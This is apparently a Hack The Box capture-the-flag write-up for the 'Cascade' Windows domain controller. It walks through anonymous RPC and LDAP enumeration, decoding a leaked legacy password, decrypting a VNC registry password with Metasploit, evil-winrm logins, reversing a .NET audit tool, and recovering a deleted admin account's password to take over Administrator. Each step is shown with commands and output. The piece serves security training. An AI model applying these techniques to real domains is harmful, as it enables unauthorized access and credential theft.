C:\Helich0pper

HTB Writeup | Cascade

IP: 10.10.10.182
Rating: Medium
My Rating: Medium
Operating System: Windows

Overview


Enumerate possible user accounts and poke at LDAP to find a base64 encoded password that sticks out. With those credentials, you can log in to an SMB user and find a registry file that contains a set of credentials encoded in hex. These credentials will then give us access to a .NET application that we can reverse to find out how passwords are being decrypted for a database. This will give us access to Active Directory via remote login which we can “dumpster dive” and find credentials for an Administrator account.

Recon


As always, Nmap the box to find open ports which we can enumerate further. The following ports were open:

root@crab:~# nmap -sCV 10.10.10.182
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-04-04 13:39:44Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: cascade.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
49154/tcp open  msrpc         Microsoft Windows RPC
49155/tcp open  msrpc         Microsoft Windows RPC
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  msrpc         Microsoft Windows RPC
5985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2m41s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-04-04T13:40:36
|_  start_date: 2020-04-04T11:27:34
Service Info: Host: CASC-DC1; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Just by seeing DNS (port 53), SMB (port 139) and ldap (port 389) I can tell we are dealing with Active Directory. The LDAP banner confirms it as well as giving us the domain name ‘cascade.local’.
Quick tip: if you take a look at the hostname ‘CASC-DC1’, DC usually stands for domain controller which is a massive hint that it is an Active Directory.

Enumeration


RPC

First things first, let’s try leak some usernames since port 5985 is open which is typically for remote login. There are several ways to enumerate usernames but the quickest is to log in anonymously with rpcclient by specifying an empty username/password and using the ‘enumdomusers’ command:

root@crab:~# rpcclient 10.10.10.182 -U ''
Enter password: 
rpcclient $> enumdomusers
user:[CascGuest] rid:[0x1f5]
user:[arksvc] rid:[0x452]
user:[s.smith] rid:[0x453]
user:[r.thompson] rid:[0x455]
user:[util] rid:[0x457]
user:[j.wakefield] rid:[0x45c]
user:[s.hickson] rid:[0x461]
user:[j.goodhand] rid:[0x462]
user:[a.turnbull] rid:[0x464]
user:[e.crowe] rid:[0x467]
user:[b.hanson] rid:[0x468]
user:[d.burman] rid:[0x469]
user:[BackupSvc] rid:[0x46a]
user:[j.allen] rid:[0x46e]
user:[i.croft] rid:[0x46f]

You can use the magical sed and awk commands to keep just the usernames or do it manually (if you do it manually I respect your dedication). Here is a command that will make your life a breeze:

root@crab:~# cat temp.txt | awk -F\[ {'print $2'} | awk -F\] {'print $1'} > users.txt
root@crab:~# cat users.txt
CascGuest
arksvc
s.smith
r.thompson
util
j.wakefield
s.hickson
j.goodhand
a.turnbull
e.crowe
b.hanson
d.burman
BackupSvc
j.allen
i.croft

LDAP

We have usernames now but we still possible password which can be found using ldapsearch. Let’s start by dumping everything into a file using anonymous LDAP login and go on from there.

root@crab:~# ldapsearch -x -h 10.10.10.182 -b dc=cascade,dc=local > ldap/anonymous.ldap

Using grep on a file rather than calling ldapsearch each time is probably the best idea; in this case, I printed out the file that contained the output of ldap and used grep to filter out anything that was unique.
Sifting through the output, “cascadeLegacyPwd: clk0bjVldmE=” stands out and decoding the base64 gives us a potential password:

root@crab:~# cat ldap/anonymous.ldap | sort | uniq -c
...
   1  cade.local                                                                                                                      
      3 cal                                                                                                                             
      1 =cascade,DC=local                                                                                                               
      3 cascade,DC=local                                                                                                                
      1 cascadeLegacyPwd: clk0bjVldmE=                                                                                                   
      3 cascade.local                                                                                                                  
      1 # cascade.local                                                                                                                  
      1 # CASC-DC1, Domain Controllers, cascade.local  
...

root@crab:~# echo clk0bjVldmE= | base64 -d
rY4n5eva

Let’s go ahead and access the Data share with r.thompson’s credentials and further enumerate.
There is an interesting registry file under the /IT/Temp/s.smith directory in the ‘Date’ share. Lets retrieve it for examination.

root@crab:~# smbclient \\\\10.10.10.182\\Data -U r.thompson -p
Enter r.thompson password:
smb: \> cd IT
smb: \IT\> dir
  .                                   D        0  Tue Jan 28 13:04:51 2020
  ..                                  D        0  Tue Jan 28 13:04:51 2020
  Email Archives                      D        0  Tue Jan 28 13:00:30 2020
  LogonAudit                          D        0  Tue Jan 28 13:04:40 2020
  Logs                                D        0  Tue Jan 28 19:53:04 2020
  Temp                                D        0  Tue Jan 28 17:06:59 2020

smb: \IT\> cd Temp
smb: \IT\Temp\> dir
  .                                   D        0  Tue Jan 28 17:06:59 2020
  ..                                  D        0  Tue Jan 28 17:06:59 2020
  r.thompson                          D        0  Tue Jan 28 17:06:53 2020
  s.smith                             D        0  Tue Jan 28 15:00:01 2020

smb: \IT\Temp\> cd s.smith
smb: \IT\Temp\s.smith\> dir
  .                                   D        0  Tue Jan 28 15:00:01 2020
  ..                                  D        0  Tue Jan 28 15:00:01 2020
  VNC Install.reg                     A     2680  Tue Jan 28 14:27:44 2020

smb: \IT\Temp\s.smith\> get "VNC Install.reg"
getting file \IT\Temp\s.smith\VNC Install.reg of size 2680 as VNC Install.reg (6.1 KiloBytes/sec) (average 6.1 KiloBytes/sec)

Reading the file reveals a possible password encoded in hex as well as other configuration settings.

root@crab:~# cat "VNC Install.reg"
...
"UseMirrorDriver"=dword:00000001
"EnableUrlParams"=dword:00000001
"Password"=hex:6b,cf,2a,4b,6e,5a,ca,0f
"AlwaysShared"=dword:00000000
"NeverShared"=dword:00000000
...

Decoding the hex gives us junk characters so it might not be in plain text. A quick Google search for a way to decode VNC type hex reveals that we can use msfconsole to decode it into plain text by giving it a fixed key:

root@crab:~# msfconsole
msf5 > irb
[*] Starting IRB shell...
[*] You are in the "framework" object

>> fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
>> require 'rex/proto/rfb'
=> true
>>  Rex::Proto::RFB::Cipher.decrypt ["6bcf2a4b6e5aca0f"].pack('H*'), fixedkey
=> "sT333ve2"

Just like that, we have s.smith’s password!

Gaining access


s.smith

Now that we have s.smith’s credentials, we can try login with evil-winrm and pray s.smith is in the Remote Management group.

root@crab:~# evil-winrm -i 10.10.10.182 -u s.smith -p sT333ve2
*Evil-WinRM* PS C:\Users\s.smith\Documents> cd ..\Desktop
*Evil-WinRM* PS C:\Users\s.smith\Desktop> dir    
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/27/2020   8:27 PM             34 user.txt
-a----        3/25/2020  11:17 AM           1031 WinDirStat.lnk

Nice, we got the user flag :)
If you noticed from before, the SMB Audit share was not readable by r.thompson but now with s.smith we are able to access it.

root@crab:~# smbclient \\\\10.10.10.182\\Audit$ -U s.smith -p
Enter s.smith\'s password: 
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Jan 29 13:01:26 2020
  ..                                  D        0  Wed Jan 29 13:01:26 2020
  CascAudit.exe                       A    13312  Tue Jan 28 16:46:51 2020
  CascCrypto.dll                      A    12288  Wed Jan 29 13:00:20 2020
  DB                                  D        0  Tue Jan 28 16:40:59 2020
  RunAudit.bat                        A       45  Tue Jan 28 18:29:47 2020
  System.Data.SQLite.dll              A   363520  Sun Oct 27 02:38:36 2019
  System.Data.SQLite.EF6.dll          A   186880  Sun Oct 27 02:38:38 2019
  x64                                 D        0  Sun Jan 26 17:25:27 2020
  x86                                 D        0  Sun Jan 26 17:25:27 2020
  smb: \> cd DB
  smb: \DB\> dir
  .                                   D        0  Tue Jan 28 16:40:59 2020
  ..                                  D        0  Tue Jan 28 16:40:59 2020
  Audit.db                            A    24576  Tue Jan 28 16:39:24 2020

Those are some juicy files that we can try reverse engineer. Let’s break it down piece by piece since reverse-engineering gets messy pretty fast. We have 4 files that are interesting:

We will be using DnSpy to reverse and view the source code. The first thing that catches my eye is the password being decrypted with a key and saved into a variable:

What if we added a breakpoint here and ran CascAudit.exe with the database file as an argument? Theoretically, we should be able to read the password at the breakpoint in plain text.


Another user’s credentials compromised!

ArkScv  :: w3lc0meFr31nd

ArkScv

The ArkScv account can also be remotely logged in with evil-winrm. Upon checking what groups ArkScv is in we can see he is a part of AD Recycle Bin.

PS C:\Users\arksvc\Documents> net user ArkSvc
User name                    arksvc
Full Name                    ArkSvc
Comment
User comment
Country code                 000 (System Default)
Account active               Yes
Account expires              Never

Password last set            1/9/2020 5:18:20 PM
Password expires             Never
Password changeable          1/9/2020 5:18:20 PM
Password required            Yes
User may change password     No

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   1/29/2020 10:05:40 PM

Logon hours allowed          All

Local Group Memberships      *AD Recycle Bin       *IT
                             *Remote Management Use
Global Group memberships     *Domain Users
The command completed successfully.

Why is this important? Well, if you enumerated r.thompson’s SMB shares thoroughly you’d notice an E-mail talking about a TempAdmin account that was deleted.

...
<p>-- We will be using a temporary account to
perform all tasks related to the network migration and this account will be deleted at the end of
2018 once the migration is complete. This will allow us to identify actions
related to the migration in security logs etc. Username is TempAdmin (password is the same as the normal admin account password). </p>
...

Taking this into consideration, we can attempt to recover the deleted account password and log in as Administrator.
We can query deleted objects and filter out everything except users by using the following powershell command:

Get-ADObject -SearchBase “DC=cascade,DC=local-Filter {ObjectClass -eq "user"} -IncludeDeletedObjects -Properties *

...
accountExpires                  : 9223372036854775807                                                                                    
badPasswordTime                 : 0                                                                                                      
badPwdCount                     : 0                                                                                                      
CanonicalName                   : cascade.local/Deleted Objects/TempAdmin                                                                
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059                                                               
cascadeLegacyPwd                : YmFDVDNyMWFOMDBkbGVz                                                                                   
CN                              : TempAdmin                                                                                              
                                  DEL:f0cc344d-31e0-4866-bceb-a842791ca059    
...

Just like before ‘cascadeLegacyPwd’ has a base64 encoded password, but this time once decoded we can log in to Administrator and grab the root flag!

Administrator

root@crab:~# echo 'YmFDVDNyMWFOMDBkbGVz' | base64 -d
baCT3r1aN00dles

root@crab:~# evil-winrm -i 10.10.10.182 -u Administrator  -p baCT3r1aN00dles
PS C:\Users\Administrator\Desktop> whoami; hostname; dir
cascade\administrator
CASC-DC1

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        7/28/2020  12:47 AM             34 root.txt
-a----        3/25/2020  11:17 AM           1031 WinDirStat.lnk

Conclusion


Despite being a super frustrating box, I loved it due to its unique approach of pure enumeration and no CVE related exploitation.